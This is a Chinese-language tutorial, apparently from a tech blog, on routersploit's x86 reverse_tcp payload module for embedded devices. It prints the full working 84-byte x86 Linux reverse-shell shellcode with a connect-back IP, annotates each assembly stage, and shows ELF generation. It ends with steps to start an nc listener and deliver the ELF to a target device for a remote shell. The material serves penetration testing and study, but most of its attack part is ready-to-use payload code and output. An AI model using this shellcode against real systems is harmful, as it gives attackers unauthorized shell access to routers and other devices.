- 网络安全
- 嵌入式
【免费下载链接】routersploit
Exploitation Framework for Embedded Devices
导读
payloads/x86/reverse_tcp是 routersploit 框架内置的 Payload 生成模块,用于为X86(32 位 Intel/AMD)架构的嵌入式设备生成一条交互式反向 TCP Shell 的原始 Shellcode。本文以该模块的官方文档为主线,完整演示其在rsf.py交互式终端中的使用流程,并深入 reverse_tcp.py 源码逐条拆解 Shellcode 的汇编原理、参数校验规则与三种输出格式(Python / C / ELF),帮助你不仅会"用",更能理解"生成"背后的底层机制。
模块概述:它能做什么
根据官方文档 docs/modules/payloads/x86/reverse_tcp.md 的定义:
Module generates payload that creates interactive tcp reverse shell for X86 architecture.
该模块生成一段可在 X86 架构上执行的 Shellcode:目标设备主动向攻击者监听的地址(lhost)和端口(lport)发起 TCP 连接,连接建立后将标准输入/输出/错误全部重定向到该 TCP 连接上,最终执行/bin/sh,形成一条交互式反向 Shell。
在 routersploit 的模块分类树中,它位于routersploit/modules/payloads/x86/下,与bind_tcp(绑定型正向 Shell)并列,同属于架构相关 Payload 目录(armle / mipsbe / mipsle / x86 / x64 / perl / php / python 等,见 payloads.py 中Architectures的定义)。它通常被用作 Exploit 模块成功利用设备后,配合check/run阶段投递的"后续载荷",也可独立运行获取可嵌入的 Shellcode 字节序列。
快速上手:验证步骤与交互示例
官方文档给出的验证步骤(Verification Steps)如下:
- 启动框架:
./rsf.py - 加载模块:
use payloads/x86/reverse_tcp - 设置回连地址:
set lhost 192.168.1.4 - 设置回连端口:
set lport 4321 - 运行
run,模块即生成 X86 反向 TCP Shell Payload
对应的完整交互会话(Scenarios)如下:
rsf > use payloads/x86/reverse_tcp rsf (X86 Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (X86 Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (X86 Reverse TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68" "\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80" )默认输出的这段 Python 格式载荷,共 84 字节(示例中lhost=192.168.1.4、lport=4321),可以直接复制到 Python 2 中作为payload变量使用,也可以作为 C/ELF 等其他格式的载体。会话中提示符变为rsf (X86 Reverse TCP),表示当前已激活该模块,set命令用于修改模块选项。
模块选项与参数校验
该模块的可用选项由两个 Mixin 组合而来,源码位于 payloads.py:
ReverseTCPPayloadMixin(payloads.py#L92-L95)定义了两个核心选项:lhost:OptIP类型,回连 IP 地址(Connect-back IP address),默认空字符串,必须显式设置;lport:OptPort类型,回连 TCP 端口(Connect-back TCP Port),默认5555;
ArchitectureSpecificPayload(payloads.py#L151-L165)定义了输出控制选项:output:OptString类型,输出格式,可选elf/c/python,默认python;filepath:OptString类型,当output=elf时 ELF 文件的写出路径,默认/tmp/<8位随机字符串>(由random_text(8)生成,见 utils.py#L20-L28)。
set命令会触发对应选项类型的校验器(option.py):
OptIP.__set__(option.py#L34-L41):仅接受合法的 IPv4 或 IPv6 地址,否则抛出OptionValidationError: Invalid address...。校验底层依赖 utils.py 中的is_ipv4/is_ipv6正则。OptPort.__set__(option.py#L44-L57):必须可转换为整数且满足0 < value <= 65535,否则报错。
因此文档示例中的set lhost 192.168.1.4与set lport 4321都是经过严格校验后才生效的。
源码剖析:Shellcode 是如何生成的
模块核心实现位于 reverse_tcp.py 的generate()方法。它首先将用户配置的 IP 与端口编码为二进制字节:
reverse_ip = utils.convert_ip(self.lhost) # "192.168.1.4" -> b"\xc0\xa8\x01\x04" reverse_port = utils.convert_port(self.lport) # 4321 -> b"\x10\xe1"其中convert_ip将点分十进制 IP 逐段转为字节(utils.py#L60-L70),convert_port将端口格式化为 4 位十六进制并转为 2 字节大端序(utils.py#L73-L81)。可以看到示例输出中的\x68\xc0\xa8\x01\x04(push 192.168.1.4)与\x02\x00\x10\xe1(端口 2 字节10 e1= 4321)正是这两个函数作用的结果——Shellcode 中硬编码的目标地址与端口完全取决于lhost/lport的取值。
随后方法返回一段手工编写的 X86 汇编 Shellcode,每一字节都附有对应汇编注释,整体流程分为四个阶段:
阶段一:创建 TCP Socket(sys_socketcall, SYS_SOCKET=1)
b"\x31\xdb" + # xor ebx,ebx b"\xf7\xe3" + # mul ebx b"\x53" + # push ebx b"\x43" + # inc ebx b"\x53" + # push ebx b"\x6a\x02" + # push byte +0x2 b"\x89\xe1" + # mov ecx,esp b"\xb0\x66" + # mov al,0x66 (sys_socketcall) b"\xcd\x80" + # int 0x80 b"\x93" + # xchg eax,ebx通过int 0x80调用sys_socketcall(0x66),参数ebx=1(SYS_SOCKET),ecx指向[2, 1, 0](AF_INET=2, SOCK_STREAM=1, 0),创建 TCP Socket,返回值(文件描述符)暂存于ebx。
阶段二:重定向标准输入/输出/错误(sys_dup2)
b"\x59" + # pop ecx b"\xb0\x3f" + # mov al,0x3f (sys_dup2) b"\xcd\x80" + # int 0x80 b"\x49" + # dec ecx b"\x79\xf9" + # jns 0x11循环调用sys_dup2(0x3f):把 Socket 文件描述符复制到 2、1、0(stderr、stdout、stdin),循环条件dec ecx; jns从 2 递减到 0。这样后续/bin/sh的输入输出就全部绑定到 TCP 连接上,这是"交互式"的关键。
阶段三:发起 TCP 连接(sys_socketcall, SYS_CONNECT=3)
b"\x68" + reverse_ip + # push ip addr b"\x68\x02\x00" + reverse_port + # push port b"\x89\xe1" + # mov ecx,esp b"\xb0\x66" + # mov al,0x66 (sys_socketcall) b"\x50" + # push eax b"\x51" + # push ecx b"\x53" + # push ebx b"\xb3\x03" + # mov bl,0x3 b"\x89\xe1" + # mov ecx,esp b"\xcd\x80" + # int 0x80在栈上构造sockaddr_in(端口 + 回连 IP),再次调用sys_socketcall,此时ebx=3(SYS_CONNECT),向lhost:lport发起反向 TCP 连接。
阶段四:执行 /bin/sh(sys_execve)
b"\x52" + # push edx b"\x68\x6e\x2f\x73\x68" + # push n/sh b"\x68\x2f\x2f\x62\x69" + # push //bi b"\x89\xe3" + # mov ebx,esp b"\x52" + # push edx b"\x53" + # push ebx b"\x89\xe1" + # mov ecx,esp b"\xb0\x0b" + # mov al,0xb (execve) b"\xcd\x80" # int 0x80利用push技巧在栈上构造"//bin/sh"字符串(//与/等价,同时保证 4 字节对齐且不含\x00),然后调用sys_execve(0xb)执行/bin/sh。由于前面已经完成 dup2 重定向,Shell 的输入输出即为攻击者的 TCP 连接——反向 Shell 建立完成。
需要特别说明:这是一段经典的 32 位 X86 Linux Shellcode(不含任何\x00空字节,便于直接嵌入字符串缓冲区),模块源码的注释中注明其灵感来源于 Metasploit 的 x86 reverse_tcp 模块(authors 字段中列出了原模块作者 Ramon de C Valle、joev 以及 routersploit 移植作者 Marcin Bury)。
输出格式:python / c / elf 三种形态
ArchitectureSpecificPayload.run()(payloads.py#L167-L194)根据output选项分发到三种生成器:
Python 格式(默认)
generate_python(payloads.py#L230-L238)把每个字节格式化为\xNN,每 15 个字节换行拼接成payload = (...)的 Python 字面量。文档示例输出的正是这一格式。
C 格式
设置set output c后,generate_c(payloads.py#L220-L228)会输出unsigned char sh[] = { ... };形式的 C 数组,方便直接嵌入 C 语言 Exploit 或注入程序中。
ELF 格式
设置set output elf后,generate_elf(payloads.py#L196-L218)会把 Shellcode 追加到预置的 X86 ELF 头之后,并回填p_filesz/p_memsz两个程序头字段,生成一个可独立执行的 ELF 文件并写入filepath(默认/tmp/<随机名>)。X86 的 ELF 头模板定义在 payloads.py#L71-L78 的ARCH_ELF_HEADERS中(ELFCLASS32、e_machine=3即 EM_386)。
rsf (X86 Reverse TCP) > set output elf [+] output => elf rsf (X86 Reverse TCP) > set filepath /tmp/x86_rev [+] filepath => /tmp/x86_rev rsf (X86 Reverse TCP) > run [*] Running module... [*] Generating payload [*] Building ELF payload [+] Saving file /tmp/x86_rev生成后可先在攻击机上启动监听(如nc -lvnp 4321),再把 ELF 投递到目标 X86 设备执行,即可获得反弹 Shell。
测试用例验证
仓库为 payload 生成逻辑提供了单元测试 tests/payloads/x86/test_reverse_tcp.py。测试固定设置lhost=192.168.1.4、lport=4321,断言Payload().generate()的输出与预置的 84 字节reverse_tcp常量完全一致,同时该文件中还预置了同参数的 ELF 形态elf_x86_reverse_tcp(ELF 头 + Shellcode),对应generate_elf的拼接逻辑。运行pytest tests/payloads/x86/test_reverse_tcp.py即可复现验证——这也是文档示例输出可被逐字节复现的自动化保证。
小结
- 使用路径:
./rsf.py→use payloads/x86/reverse_tcp→set lhost <IP>→set lport <PORT>→run。 - 核心选项:
lhost(OptIP,必填)、lport(OptPort,默认 5555)、output(python/c/elf,默认 python)、filepath(ELF 写出路径)。 - 生成原理:generate() 通过
convert_ip/convert_port将参数编码进手工汇编 Shellcode,依次完成 socket → dup2 → connect → execve("/bin/sh") 四个阶段,产出 84 字节无空字节的 X86 Linux Shellcode。 - 验证方式:test_reverse_tcp.py 提供固定参数的字节级回归测试,可直接运行确认生成结果。
该模块与payloads/x86/bind_tcp(正向绑定 Shell,见 bind_tcp.py)共同构成 X86 架构的两类 TCP Shell 载荷;反向型更适用于目标位于 NAT 之后、无法直接入站的场景,是路由器、摄像头等嵌入式设备渗透测试链路中的常用后续载荷。
- 网络安全
- 嵌入式
【免费下载链接】routersploit
Exploitation Framework for Embedded Devices
相关推荐
Data Engineering Zoomcamp 2026 实战:用 dlt + AI 从 API 构建到数据仓库的自动化数据摄入管道
Data Engineering Zoomcamp 2026 实战:用 dlt + AI 从 API 构建到数据仓库的自动化数据摄入管道 本文是 Data En
网络安全嵌入式Linux 内核 device-mapper uevent 机制完全指南:从多路径设备事件到用户态 udev 通知
Linux 内核 device mapper uevent 机制完全指南:从多路径设备事件到用户态 udev 通知 关联文档 : dm uevent.rst h
网络安全嵌入式PCSX2 中的 Zydis:高性能 x86/x86-64 反汇编与代码生成库的集成实战指南
PCSX2 中的 Zydis:高性能 x86/x86 64 反汇编与代码生成库的集成实战指南 导读 本文围绕 PCSX2(PlayStation 2 模拟器)仓
虚拟化桌面应用图形学
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考